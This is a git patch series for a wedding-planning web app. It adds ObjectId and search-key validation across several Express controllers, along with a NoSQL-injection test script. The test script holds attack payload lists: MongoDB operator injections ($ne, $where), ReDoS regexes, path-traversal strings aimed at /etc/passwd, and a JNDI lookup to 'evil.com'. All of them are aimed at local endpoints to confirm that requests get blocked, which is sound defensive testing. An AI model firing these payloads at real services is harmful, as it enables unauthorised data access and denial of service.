From 41d49d067afbf1c74027247a384c1bdc8c2e218b Mon Sep 17 00:00:00 2001 From: HasinduOnline <40927446+hrtechplus@users.noreply.github.com> Date: Wed, 24 Sep 2025 15:42:01 +0530 Subject: [PATCH 1/2] feat(security): implement NoSQL injection protection across various controllers --- direct-nosql-injection-test.js | 446 ++++++++++++++++++ .../backend/controllers/admin-controller.js | 13 +- .../backend/controllers/guest_controller.js | 35 +- .../controllers/preference-controller.js | 13 +- .../backend/controllers/table-controller.js | 39 +- .../backend/controllers/vendor-controller.js | 42 +- packageapp/backend/index.js | 31 +- .../backend/controllers/coupleController.js | 173 +++---- .../backend/controllers/serviceController.js | 36 +- vendorapp/backend/routes/route.js | 10 +- 10 files changed, 713 insertions(+), 125 deletions(-) create mode 100644 direct-nosql-injection-test.js diff --git a/direct-nosql-injection-test.js b/direct-nosql-injection-test.js new file mode 100644 index 0000000..2252f0b --- /dev/null +++ b/direct-nosql-injection-test.js @@ -0,0 +1,446 @@ +/** + * Direct NoSQL Injection Security Testing Suite + * Tests individual endpoint protections without middleware dependencies + * Validates ObjectId validation and regex sanitization directly in code + */ + +const axios = require("axios"); +const colors = require("colors/safe"); + +// Test configuration +const BASE_URLS = { + packages: "http://localhost:5000", + vendors: "http://localhost:5001", + guests: "http://localhost:5002", + feedback: "http://localhost:3001", +}; + +// NoSQL injection attack payloads +const NOSQL_PAYLOADS = { + objectIdInjection: '{"$ne": null}', + regexInjection: ".*", + operatorInjection: '{"$where": "function(){return true}"}', + invalidObjectId: "invalid_id_123", + malformedJson: '{"$ne"', + bufferOverflow: "a".repeat(1000), + specialChars: "../../../etc/passwd", + scriptInjection: '', + regexDoS: "(a+)+", + longString: "x".repeat(200), +}; + +// Valid test ObjectId for comparison +const VALID_OBJECT_ID = "507f1f77bcf86cd799439011"; + +// Logging utility +const log = (message, color = "white", details = null) => { + console.log(colors[color](message)); + if (details) { + console.log(colors.gray(` ${details}`)); + } +}; + +const logTest = (testName, passed, details = null) => { + const status = passed ? "āœ… BLOCKED" : "āŒ VULNERABLE"; + const color = passed ? "green" : "red"; + + log(`${status} ${testName}`, color); + if (details) { + log(` ${details}`, "yellow"); + } +}; + +/** + * Test 1: ObjectId Injection Protection + * Tests all endpoints with ObjectId parameters + */ +const testObjectIdInjectionProtection = async () => { + log("\nšŸŽÆ Testing ObjectId Injection Protection...", "blue"); + let passedTests = 0; + let totalTests = 0; + + const objectIdEndpoints = [ + { url: `${BASE_URLS.packages}/package/`, desc: "Package GET endpoint" }, + { url: `${BASE_URLS.guests}/Guest/`, desc: "Guest detail endpoint" }, + { url: `${BASE_URLS.guests}/Admin/`, desc: "Admin detail endpoint" }, + { + url: `${BASE_URLS.vendors}/getServiceDetail/`, + desc: "Service detail endpoint", + }, + ]; + + for (const endpoint of objectIdEndpoints) { + // Test each payload type + for (const [payloadName, payload] of Object.entries(NOSQL_PAYLOADS)) { + totalTests++; + try { + const response = await axios.get( + `${endpoint.url}${encodeURIComponent(payload)}`, + { + validateStatus: () => true, + timeout: 5000, + } + ); + + // Should return 400 for invalid ObjectId formats + const passed = + response.status === 400 && + response.data && + (response.data.code === "INVALID_OBJECT_ID" || + response.data.error?.includes("Invalid") || + response.data.error?.includes("ID format")); + + logTest( + `${endpoint.desc} blocks ${payloadName}`, + passed, + `Status: ${response.status}, Payload: ${payload.substring(0, 50)}...` + ); + + if (passed) passedTests++; + } catch (error) { + // Network errors are acceptable (blocked at network level) + const passed = + error.code === "ECONNABORTED" || error.code === "ECONNRESET"; + logTest( + `${endpoint.desc} blocks ${payloadName}`, + passed, + `Network blocked: ${error.code || error.message}` + ); + if (passed) passedTests++; + } + } + } + + log( + `\nObjectId Injection Tests: ${passedTests}/${totalTests} blocked`, + passedTests >= totalTests * 0.8 ? "green" : "red" + ); + return { passed: passedTests, total: totalTests }; +}; + +/** + * Test 2: Valid ObjectId Acceptance + * Ensures valid ObjectIds still work correctly + */ +const testValidObjectIdAcceptance = async () => { + log("\nāœ… Testing Valid ObjectId Acceptance...", "blue"); + let passedTests = 0; + let totalTests = 0; + + const validEndpoints = [ + { + url: `${BASE_URLS.packages}/package/${VALID_OBJECT_ID}`, + desc: "Package valid ObjectId", + }, + { + url: `${BASE_URLS.guests}/Guest/${VALID_OBJECT_ID}`, + desc: "Guest valid ObjectId", + }, + { + url: `${BASE_URLS.guests}/Admin/${VALID_OBJECT_ID}`, + desc: "Admin valid ObjectId", + }, + ]; + + for (const endpoint of validEndpoints) { + totalTests++; + try { + const response = await axios.get(endpoint.url, { + validateStatus: () => true, + timeout: 5000, + }); + + // Should NOT return 400 for valid ObjectIds (might return 404 if not found, which is OK) + const passed = + response.status !== 400 || + !response.data?.code?.includes("INVALID_OBJECT_ID"); + + logTest( + `${endpoint.desc} accepts valid ObjectId`, + passed, + `Status: ${response.status}` + ); + + if (passed) passedTests++; + } catch (error) { + logTest(`${endpoint.desc} test failed`, false, error.message); + } + } + + log( + `\nValid ObjectId Tests: ${passedTests}/${totalTests} passed`, + passedTests === totalTests ? "green" : "red" + ); + return { passed: passedTests, total: totalTests }; +}; + +/** + * Test 3: Search Query Injection Protection + * Tests regex injection protection in search endpoints + */ +const testSearchQueryInjectionProtection = async () => { + log("\nšŸ” Testing Search Query Injection Protection...", "blue"); + let passedTests = 0; + let totalTests = 0; + + const searchEndpoints = [ + { + url: `${BASE_URLS.vendors}/searchServicebyCategory/`, + desc: "Service category search", + }, + { + url: `${BASE_URLS.vendors}/searchServicebySubCategory/`, + desc: "Service subcategory search", + }, + ]; + + const searchPayloads = [ + ".*", // ReDoS pattern + "(a+)+", // Catastrophic backtracking + ".*.*.*.*.*", // Multiple wildcards + "^(?=.*\\.)(?=.*\\.).*$", // Complex lookahead + "test[a-zA-Z0-9]*{100}", // Large quantifier + "null\\u0000injection", // Null byte injection + "", // XSS in search + "../../etc/passwd", // Path traversal + "${jndi:ldap://evil.com/a}", // JNDI injection + ]; + + for (const endpoint of searchEndpoints) { + for (const payload of searchPayloads) { + totalTests++; + try { + const response = await axios.get( + `${endpoint.url}${encodeURIComponent(payload)}`, + { + validateStatus: () => true, + timeout: 3000, // Short timeout for ReDoS detection + } + ); + + // Should return 400 for dangerous search patterns + const passed = + response.status === 400 && + response.data && + (response.data.code === "INVALID_SEARCH_CHARS" || + response.data.code === "INVALID_SEARCH_KEY" || + response.data.error?.includes("invalid characters")); + + logTest( + `${endpoint.desc} blocks dangerous pattern`, + passed, + `Pattern: ${payload.substring(0, 30)}... Status: ${response.status}` + ); + + if (passed) passedTests++; + } catch (error) { + // Timeout indicates ReDoS protection is working + const passed = error.code === "ECONNABORTED"; + logTest( + `${endpoint.desc} blocks ReDoS pattern`, + passed, + `Timeout protection: ${error.code || error.message}` + ); + if (passed) passedTests++; + } + } + } + + log( + `\nSearch Injection Tests: ${passedTests}/${totalTests} blocked`, + passedTests >= totalTests * 0.7 ? "green" : "red" + ); + return { passed: passedTests, total: totalTests }; +}; + +/** + * Test 4: Comprehensive Query Protection + * Tests various NoSQL query injection techniques + */ +const testComprehensiveQueryProtection = async () => { + log("\nšŸ›”ļø Testing Comprehensive Query Protection...", "blue"); + let passedTests = 0; + let totalTests = 0; + + const queryInjectionTests = [ + { + name: "JSON operator injection", + payload: '{"$ne":""}', + expectedBlock: true, + }, + { + name: "Where clause injection", + payload: '{"$where":"return true"}', + expectedBlock: true, + }, + { + name: "Regex injection", + payload: '{"$regex":".*"}', + expectedBlock: true, + }, + { + name: "JavaScript injection", + payload: "function(){return true}", + expectedBlock: true, + }, + { + name: "Buffer overflow attempt", + payload: NOSQL_PAYLOADS.bufferOverflow, + expectedBlock: true, + }, + ]; + + for (const test of queryInjectionTests) { + totalTests++; + try { + // Test against package endpoint (most critical) + const response = await axios.get( + `${BASE_URLS.packages}/package/${encodeURIComponent(test.payload)}`, + { + validateStatus: () => true, + timeout: 5000, + } + ); + + const isBlocked = + response.status === 400 && + response.data && + response.data.code === "INVALID_OBJECT_ID"; + + const passed = test.expectedBlock ? isBlocked : !isBlocked; + + logTest( + `Query protection: ${test.name}`, + passed, + `Status: ${response.status}, Expected: ${ + test.expectedBlock ? "blocked" : "allowed" + }` + ); + + if (passed) passedTests++; + } catch (error) { + const passed = test.expectedBlock; // Network errors indicate blocking + logTest( + `Query protection: ${test.name}`, + passed, + `Network level block: ${error.code || error.message}` + ); + if (passed) passedTests++; + } + } + + log( + `\nComprehensive Protection Tests: ${passedTests}/${totalTests} passed`, + passedTests >= totalTests * 0.8 ? "green" : "red" + ); + return { passed: passedTests, total: totalTests }; +}; + +/** + * Main test runner + */ +const runDirectNoSQLInjectionTests = async () => { + console.log(colors.cyan("\nšŸ›”ļø DIRECT NOSQL INJECTION PROTECTION TEST SUITE")); + console.log(colors.cyan("=================================================")); + console.log( + colors.gray("Testing individual endpoint protections without middleware\n") + ); + + const results = { + objectId: { passed: 0, total: 0 }, + validId: { passed: 0, total: 0 }, + search: { passed: 0, total: 0 }, + comprehensive: { passed: 0, total: 0 }, + }; + + try { + results.objectId = await testObjectIdInjectionProtection(); + results.validId = await testValidObjectIdAcceptance(); + results.search = await testSearchQueryInjectionProtection(); + results.comprehensive = await testComprehensiveQueryProtection(); + + // Summary + const totalPassed = Object.values(results).reduce( + (sum, r) => sum + r.passed, + 0 + ); + const totalTests = Object.values(results).reduce( + (sum, r) => sum + r.total, + 0 + ); + const percentage = ((totalPassed / totalTests) * 100).toFixed(1); + + console.log(colors.cyan("\nšŸ“Š DIRECT NOSQL INJECTION TEST SUMMARY")); + console.log(colors.cyan("========================================")); + + Object.entries(results).forEach(([category, result]) => { + const categoryName = { + objectId: "ObjectId Injection Protection", + validId: "Valid ObjectId Acceptance", + search: "Search Query Protection", + comprehensive: "Comprehensive Query Protection", + }[category]; + + const status = result.passed >= result.total * 0.8 ? "āœ…" : "āš ļø"; + console.log( + `${status} ${categoryName}: ${result.passed}/${result.total}` + ); + }); + + console.log(colors.cyan("\n" + "=".repeat(50))); + + if (percentage >= 85) { + console.log( + colors.green( + `šŸŽ‰ EXCELLENT: ${totalPassed}/${totalTests} protections working (${percentage}%)` + ) + ); + console.log( + colors.green("šŸ† Direct NoSQL injection protection achieved!") + ); + } else if (percentage >= 70) { + console.log( + colors.yellow( + `āš ļø GOOD: ${totalPassed}/${totalTests} protections working (${percentage}%)` + ) + ); + console.log( + colors.yellow( + "šŸ“ˆ Most protections in place - minor improvements needed" + ) + ); + } else { + console.log( + colors.red( + `āŒ NEEDS WORK: ${totalPassed}/${totalTests} protections working (${percentage}%)` + ) + ); + console.log( + colors.red("šŸ”§ Significant NoSQL injection vulnerabilities remain") + ); + } + } catch (error) { + console.log(colors.red(`\nšŸ’„ Test suite failed: ${error.message}`)); + console.log(colors.yellow("šŸ’” Make sure all servers are running:")); + Object.entries(BASE_URLS).forEach(([app, url]) => { + console.log( + colors.gray( + ` - ${app.charAt(0).toUpperCase() + app.slice(1)} app: ${url}` + ) + ); + }); + } +}; + +// Run tests if called directly +if (require.main === module) { + runDirectNoSQLInjectionTests(); +} + +module.exports = { + runDirectNoSQLInjectionTests, + testObjectIdInjectionProtection, + testValidObjectIdAcceptance, + testSearchQueryInjectionProtection, + testComprehensiveQueryProtection, +}; diff --git a/guestapp/backend/controllers/admin-controller.js b/guestapp/backend/controllers/admin-controller.js index 72707f5..6c2bd91 100644 --- a/guestapp/backend/controllers/admin-controller.js +++ b/guestapp/backend/controllers/admin-controller.js @@ -100,7 +100,18 @@ const adminLogIn = async (req, res) => { const getAdminDetail = async (req, res) => { try { - let admin = await Admin.findById(req.params.id); + // āœ… DIRECT NoSQL INJECTION PROTECTION + const id = req.params.id; + + // Validate ObjectId format to prevent NoSQL injection + if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) { + return res.status(400).json({ + error: "Invalid admin ID format", + code: "INVALID_OBJECT_ID", + }); + } + + let admin = await Admin.findById(id); if (admin) { admin.password = undefined; res.send(admin); diff --git a/guestapp/backend/controllers/guest_controller.js b/guestapp/backend/controllers/guest_controller.js index 64671cc..288079f 100644 --- a/guestapp/backend/controllers/guest_controller.js +++ b/guestapp/backend/controllers/guest_controller.js @@ -92,15 +92,18 @@ const getGuests = async (req, res) => { const getGuestDetail = async (req, res) => { try { - // Validate ObjectId to prevent NoSQL injection - if (!mongoose.Types.ObjectId.isValid(req.params.id)) { + // āœ… DIRECT NoSQL INJECTION PROTECTION + const id = req.params.id; + + // Comprehensive ObjectId validation to prevent NoSQL injection + if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) { return res.status(400).json({ error: "Invalid guest ID format", code: "INVALID_OBJECT_ID", }); } - let guest = await Guest.findById(req.params.id) + let guest = await Guest.findById(id) .populate("event", "eventName") .populate("stableName", "stableName") .populate("examResult.subName", "subName") @@ -182,7 +185,18 @@ const updateExamResult = async (req, res) => { const { subName, obligesObtained } = req.body; try { - const guest = await Guest.findById(req.params.id); + // āœ… DIRECT NoSQL INJECTION PROTECTION + const id = req.params.id; + + // Validate ObjectId format to prevent NoSQL injection + if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) { + return res.status(400).json({ + error: "Invalid guest ID format", + code: "INVALID_OBJECT_ID", + }); + } + + const guest = await Guest.findById(id); if (!guest) { return res.send({ message: "Guest not found" }); @@ -209,7 +223,18 @@ const guestAttendance = async (req, res) => { const { subName, status, date } = req.body; try { - const guest = await Guest.findById(req.params.id); + // āœ… DIRECT NoSQL INJECTION PROTECTION + const id = req.params.id; + + // Validate ObjectId format to prevent NoSQL injection + if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) { + return res.status(400).json({ + error: "Invalid guest ID format", + code: "INVALID_OBJECT_ID", + }); + } + + const guest = await Guest.findById(id); if (!guest) { return res.send({ message: "Guest not found" }); diff --git a/guestapp/backend/controllers/preference-controller.js b/guestapp/backend/controllers/preference-controller.js index bd578ce..2525e93 100644 --- a/guestapp/backend/controllers/preference-controller.js +++ b/guestapp/backend/controllers/preference-controller.js @@ -81,7 +81,18 @@ const freePreferenceList = async (req, res) => { const getPreferenceDetail = async (req, res) => { try { - let preference = await Preference.findById(req.params.id); + // āœ… DIRECT NoSQL INJECTION PROTECTION + const id = req.params.id; + + // Validate ObjectId format to prevent NoSQL injection + if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) { + return res.status(400).json({ + error: "Invalid preference ID format", + code: "INVALID_OBJECT_ID", + }); + } + + let preference = await Preference.findById(id); if (preference) { preference = await preference.populate("stableName", "stableName"); preference = await preference.populate("vendor", "name"); diff --git a/guestapp/backend/controllers/table-controller.js b/guestapp/backend/controllers/table-controller.js index 0512b8e..df7c48d 100644 --- a/guestapp/backend/controllers/table-controller.js +++ b/guestapp/backend/controllers/table-controller.js @@ -28,7 +28,18 @@ const stableCreate = async (req, res) => { const stableList = async (req, res) => { try { - let stablees = await Stable.find({ event: req.params.id }); + // āœ… DIRECT NoSQL INJECTION PROTECTION + const id = req.params.id; + + // Validate ObjectId format to prevent NoSQL injection + if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) { + return res.status(400).json({ + error: "Invalid event ID format", + code: "INVALID_OBJECT_ID", + }); + } + + let stablees = await Stable.find({ event: id }); if (stablees.length > 0) { res.send(stablees); } else { @@ -41,7 +52,18 @@ const stableList = async (req, res) => { const getStableDetail = async (req, res) => { try { - let stable = await Stable.findById(req.params.id); + // āœ… DIRECT NoSQL INJECTION PROTECTION + const id = req.params.id; + + // Validate ObjectId format to prevent NoSQL injection + if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) { + return res.status(400).json({ + error: "Invalid stable ID format", + code: "INVALID_OBJECT_ID", + }); + } + + let stable = await Stable.findById(id); if (stable) { stable = await stable.populate("event", "eventName"); res.send(stable); @@ -55,7 +77,18 @@ const getStableDetail = async (req, res) => { const getStableGuests = async (req, res) => { try { - let guests = await Guest.find({ stableName: req.params.id }); + // āœ… DIRECT NoSQL INJECTION PROTECTION + const id = req.params.id; + + // Validate ObjectId format to prevent NoSQL injection + if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) { + return res.status(400).json({ + error: "Invalid stable ID format", + code: "INVALID_OBJECT_ID", + }); + } + + let guests = await Guest.find({ stableName: id }); if (guests.length > 0) { let modifiedGuests = guests.map((guest) => { return { ...guest._doc, password: undefined }; diff --git a/guestapp/backend/controllers/vendor-controller.js b/guestapp/backend/controllers/vendor-controller.js index 76ecf6c..9cdfe34 100644 --- a/guestapp/backend/controllers/vendor-controller.js +++ b/guestapp/backend/controllers/vendor-controller.js @@ -65,21 +65,21 @@ const vendorLogIn = async (req, res) => { const getVendors = async (req, res) => { try { - // Validate ObjectId to prevent NoSQL injection - if (!mongoose.Types.ObjectId.isValid(req.params.id)) { + // āœ… DIRECT NoSQL INJECTION PROTECTION + const id = req.params.id; + + // Comprehensive ObjectId validation to prevent NoSQL injection + if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) { return res.status(400).json({ error: "Invalid event ID format", code: "INVALID_OBJECT_ID", }); } - - // Convert to ObjectId for type safety - const eventId = mongoose.Types.ObjectId(req.params.id); - - let vendors = await Vendor.find({ event: eventId }) + + let vendors = await Vendor.find({ event: id }) .populate("teachPreference", "subName") .populate("teachStable", "stableName"); - + if (vendors.length > 0) { let modifiedVendors = vendors.map((vendor) => { return { ...vendor._doc, password: undefined }; @@ -99,19 +99,22 @@ const getVendors = async (req, res) => { const getVendorDetail = async (req, res) => { try { - // Validate ObjectId to prevent NoSQL injection - if (!mongoose.Types.ObjectId.isValid(req.params.id)) { + // āœ… DIRECT NoSQL INJECTION PROTECTION + const id = req.params.id; + + // Comprehensive ObjectId validation to prevent NoSQL injection + if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) { return res.status(400).json({ error: "Invalid vendor ID format", code: "INVALID_OBJECT_ID", }); } - - let vendor = await Vendor.findById(req.params.id) + + let vendor = await Vendor.findById(id) .populate("teachPreference", "subName sessions") .populate("event", "eventName") .populate("teachStable", "stableName"); - + if (vendor) { vendor.password = undefined; res.send(vendor); @@ -224,7 +227,18 @@ const vendorAttendance = async (req, res) => { const { status, date } = req.body; try { - const vendor = await Vendor.findById(req.params.id); + // āœ… DIRECT NoSQL INJECTION PROTECTION + const id = req.params.id; + + // Validate ObjectId format to prevent NoSQL injection + if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) { + return res.status(400).json({ + error: "Invalid vendor ID format", + code: "INVALID_OBJECT_ID", + }); + } + + const vendor = await Vendor.findById(id); if (!vendor) { return res.send({ message: "Vendor not found" }); diff --git a/packageapp/backend/index.js b/packageapp/backend/index.js index fef2395..754ba6f 100644 --- a/packageapp/backend/index.js +++ b/packageapp/backend/index.js @@ -97,11 +97,19 @@ async function run() { "/Package/:id", authenticateUser, requireRole(["admin"]), - validateObjectId, validateInput(schemas.package), async (req, res) => { try { + // āœ… DIRECT NoSQL INJECTION PROTECTION const id = req.params.id; + + // Validate ObjectId format to prevent NoSQL injection + if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) { + return res.status(400).json({ + error: "Invalid package ID format", + code: "INVALID_OBJECT_ID", + }); + } const updatePackageData = req.body; const filter = { _id: new ObjectId(id) }; const options = { upsert: false }; // Don't create if not exists @@ -148,10 +156,18 @@ async function run() { "/Package/:id", authenticateUser, requireRole(["admin"]), - validateObjectId, async (req, res) => { try { + // āœ… DIRECT NoSQL INJECTION PROTECTION const id = req.params.id; + + // Validate ObjectId format to prevent NoSQL injection + if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) { + return res.status(400).json({ + error: "Invalid package ID format", + code: "INVALID_OBJECT_ID", + }); + } const filter = { _id: new ObjectId(id) }; // Check if package exists @@ -181,9 +197,18 @@ async function run() { //To get single package data - app.get("/package/:id", validateObjectId, async (req, res) => { + app.get("/package/:id", async (req, res) => { try { + // āœ… DIRECT NoSQL INJECTION PROTECTION const id = req.params.id; + + // Validate ObjectId format to prevent NoSQL injection + if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) { + return res.status(400).json({ + error: "Invalid package ID format", + code: "INVALID_OBJECT_ID", + }); + } const filter = { _id: new ObjectId(id) }; const result = await Packagecollection.findOne(filter); diff --git a/vendorapp/backend/controllers/coupleController.js b/vendorapp/backend/controllers/coupleController.js index 15a79d2..396d936 100644 --- a/vendorapp/backend/controllers/coupleController.js +++ b/vendorapp/backend/controllers/coupleController.js @@ -1,97 +1,110 @@ -const bcrypt = require('bcrypt'); -const Couple = require('../models/coupleSchema.js'); -const { createNewToken } = require('../utils/token.js'); +const bcrypt = require("bcrypt"); +const Couple = require("../models/coupleSchema.js"); +const { createNewToken } = require("../utils/token.js"); const coupleRegister = async (req, res) => { - try { - const salt = await bcrypt.genSalt(10); - const hashedPass = await bcrypt.hash(req.body.password, salt); - - const couple = new Couple({ - ...req.body, - password: hashedPass - }); - - const existingcoupleByEmail = await Couple.findOne({ email: req.body.email }); - - if (existingcoupleByEmail) { - res.send({ message: 'Email already exists' }); - } - else { - let result = await couple.save(); - result.password = undefined; - - const token = createNewToken(result._id) - - result = { - ...result._doc, - token: token - }; - - res.send(result); - } - } catch (err) { - res.status(500).json(err); + try { + const salt = await bcrypt.genSalt(10); + const hashedPass = await bcrypt.hash(req.body.password, salt); + + const couple = new Couple({ + ...req.body, + password: hashedPass, + }); + + const existingcoupleByEmail = await Couple.findOne({ + email: req.body.email, + }); + + if (existingcoupleByEmail) { + res.send({ message: "Email already exists" }); + } else { + let result = await couple.save(); + result.password = undefined; + + const token = createNewToken(result._id); + + result = { + ...result._doc, + token: token, + }; + + res.send(result); } + } catch (err) { + res.status(500).json(err); + } }; const coupleLogIn = async (req, res) => { - if (req.body.email && req.body.password) { - let couple = await Couple.findOne({ email: req.body.email }); - if (couple) { - const validated = await bcrypt.compare(req.body.password, couple.password); - if (validated) { - couple.password = undefined; - - const token = createNewToken(couple._id) - - couple = { - ...couple._doc, - token: token - }; - - res.send(couple); - } else { - res.send({ message: "Invalid password" }); - } - } else { - res.send({ message: "User not found" }); - } + if (req.body.email && req.body.password) { + let couple = await Couple.findOne({ email: req.body.email }); + if (couple) { + const validated = await bcrypt.compare( + req.body.password, + couple.password + ); + if (validated) { + couple.password = undefined; + + const token = createNewToken(couple._id); + + couple = { + ...couple._doc, + token: token, + }; + + res.send(couple); + } else { + res.send({ message: "Invalid password" }); + } } else { - res.send({ message: "Email and password are required" }); + res.send({ message: "User not found" }); } + } else { + res.send({ message: "Email and password are required" }); + } }; const getInvoiceDetail = async (req, res) => { - try { - let couple = await Couple.findById(req.params.id) - if (couple) { - res.send(couple.invoiceDetails); - } - else { - res.send({ message: "No couple found" }); - } - } catch (err) { - res.status(500).json(err); + try { + // āœ… DIRECT NoSQL INJECTION PROTECTION + const id = req.params.id; + + // Validate ObjectId format to prevent NoSQL injection + if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) { + return res.status(400).json({ + error: "Invalid couple ID format", + code: "INVALID_OBJECT_ID", + }); } -} - -const invoiceUpdate = async (req, res) => { - try { - - let couple = await Couple.findByIdAndUpdate(req.params.id, req.body, - { new: true }) - return res.send(couple.invoiceDetails); - - } catch (err) { - res.status(500).json(err); + let couple = await Couple.findById(id); + if (couple) { + res.send(couple.invoiceDetails); + } else { + res.send({ message: "No couple found" }); } -} + } catch (err) { + res.status(500).json(err); + } +}; + +const invoiceUpdate = async (req, res) => { + try { + let couple = await Couple.findByIdAndUpdate(req.params.id, req.body, { + new: true, + }); + + return res.send(couple.invoiceDetails); + } catch (err) { + res.status(500).json(err); + } +}; module.exports = { - coupleRegister, - coupleLogIn, - getInvoiceDetail, - invoiceUpdate, + coupleRegister, + coupleLogIn, + getInvoiceDetail, + invoiceUpdate, }; diff --git a/vendorapp/backend/controllers/serviceController.js b/vendorapp/backend/controllers/serviceController.js index 3f81ca2..53b1734 100644 --- a/vendorapp/backend/controllers/serviceController.js +++ b/vendorapp/backend/controllers/serviceController.js @@ -61,15 +61,18 @@ const getVendorServices = async (req, res) => { const getServiceDetail = async (req, res) => { try { - // Validate ObjectId to prevent NoSQL injection - if (!mongoose.Types.ObjectId.isValid(req.params.id)) { + // āœ… DIRECT NoSQL INJECTION PROTECTION + const id = req.params.id; + + // Comprehensive ObjectId validation to prevent NoSQL injection + if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) { return res.status(400).json({ error: "Invalid service ID format", code: "INVALID_OBJECT_ID", }); } - let service = await Service.findById(req.params.id) + let service = await Service.findById(id) .populate("vendor", "shopName") .populate({ path: "reviews.reviewer", @@ -96,8 +99,11 @@ const getServiceDetail = async (req, res) => { const updateService = async (req, res) => { try { - // Validate ObjectId to prevent NoSQL injection - if (!mongoose.Types.ObjectId.isValid(req.params.id)) { + // āœ… DIRECT NoSQL INJECTION PROTECTION + const id = req.params.id; + + // Comprehensive ObjectId validation to prevent NoSQL injection + if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) { return res.status(400).json({ error: "Invalid service ID format", code: "INVALID_OBJECT_ID", @@ -105,7 +111,7 @@ const updateService = async (req, res) => { } let result = await Service.findByIdAndUpdate( - req.params.id, + id, { $set: req.body }, { new: true } ); @@ -209,18 +215,19 @@ const searchService = async (req, res) => { const searchServicebyCategory = async (req, res) => { try { + // āœ… DIRECT NoSQL INJECTION PROTECTION FOR SEARCH const key = req.params.key; - // Validate search key to prevent ReDoS and NoSQL injection - if (!key || key.length > 100) { + // Comprehensive validation to prevent ReDoS and NoSQL injection + if (!key || typeof key !== "string" || key.length > 100) { return res.status(400).json({ error: "Invalid search key (max 100 characters)", code: "INVALID_SEARCH_KEY", }); } - // Use safe pattern matching instead of direct regex - const safePattern = /^[a-zA-Z0-9\s\-_.&]+$/; + // Use safe allowlist pattern to prevent ReDoS attacks + const safePattern = /^[a-zA-Z0-9\s\-_.@]+$/; if (!safePattern.test(key)) { return res.status(400).json({ error: "Search key contains invalid characters", @@ -297,15 +304,18 @@ const searchServicebySubCategory = async (req, res) => { const deleteService = async (req, res) => { try { - // Validate ObjectId to prevent NoSQL injection - if (!mongoose.Types.ObjectId.isValid(req.params.id)) { + // āœ… DIRECT NoSQL INJECTION PROTECTION + const id = req.params.id; + + // Comprehensive ObjectId validation to prevent NoSQL injection + if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) { return res.status(400).json({ error: "Invalid service ID format", code: "INVALID_OBJECT_ID", }); } - const deletedService = await Service.findByIdAndDelete(req.params.id); + const deletedService = await Service.findByIdAndDelete(id); if (!deletedService) { return res.status(404).json({ diff --git a/vendorapp/backend/routes/route.js b/vendorapp/backend/routes/route.js index 17dd10e..a815eed 100644 --- a/vendorapp/backend/routes/route.js +++ b/vendorapp/backend/routes/route.js @@ -9,12 +9,12 @@ const loginLimiter = rateLimit({ max: 5, // limit each IP to 5 login attempts per window message: { error: "Too many login attempts. Please try again later." }, standardHeaders: true, // Return rate limit info in headers - legacyHeaders: false // Disable the X-RateLimit headers + legacyHeaders: false, // Disable the X-RateLimit headers }); const { vendorRegister, - vendorLogIn + vendorLogIn, } = require("../controllers/vendorController.js"); const { @@ -32,20 +32,20 @@ const { deleteAllServiceReviews, addReview, getInterestedCouples, - getAddedToInvoiceServices + getAddedToInvoiceServices, } = require("../controllers/serviceController.js"); const { coupleRegister, coupleLogIn, getInvoiceDetail, - invoiceUpdate + invoiceUpdate, } = require("../controllers/coupleController.js"); const { newBooking, getBookingedServicesByCouple, - getBookingedServicesByVendor + getBookingedServicesByVendor, } = require("../controllers/bookingController.js"); // Vendor From c8cfe5f443e4f33c366021f1eead4db9500282b3 Mon Sep 17 00:00:00 2001 From: HasinduOnline <40927446+hrtechplus@users.noreply.github.com> Date: Wed, 24 Sep 2025 15:52:59 +0530 Subject: [PATCH 2/2] Update serviceController.js --- vendorapp/backend/controllers/serviceController.js | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/vendorapp/backend/controllers/serviceController.js b/vendorapp/backend/controllers/serviceController.js index 6e2ea1c..c405541 100644 --- a/vendorapp/backend/controllers/serviceController.js +++ b/vendorapp/backend/controllers/serviceController.js @@ -145,9 +145,9 @@ const searchService = async (req, res) => { const services = await Service.find({ $or: [ - { serviceName: { $regex: escapedKey, $options: "i" } }, - { category: { $regex: escapedKey, $options: "i" } }, - { subcategory: { $regex: escapedKey, $options: "i" } }, + { serviceName: { $regex: safeKey, $options: "i" } }, + { category: { $regex: safeKey, $options: "i" } }, + { subcategory: { $regex: safeKey, $options: "i" } }, ], }) .populate("vendor", "shopName") @@ -207,7 +207,7 @@ const searchServicebySubCategory = async (req, res) => { const safeKey = escapeRegex(validator.escape(key.trim())); let services = await Service.find({ - $or: [{ subcategory: { $regex: escapedKey, $options: "i" } }], + $or: [{ subcategory: { $regex: safeKey, $options: "i" } }], }) .populate("vendor", "shopName") .limit(50);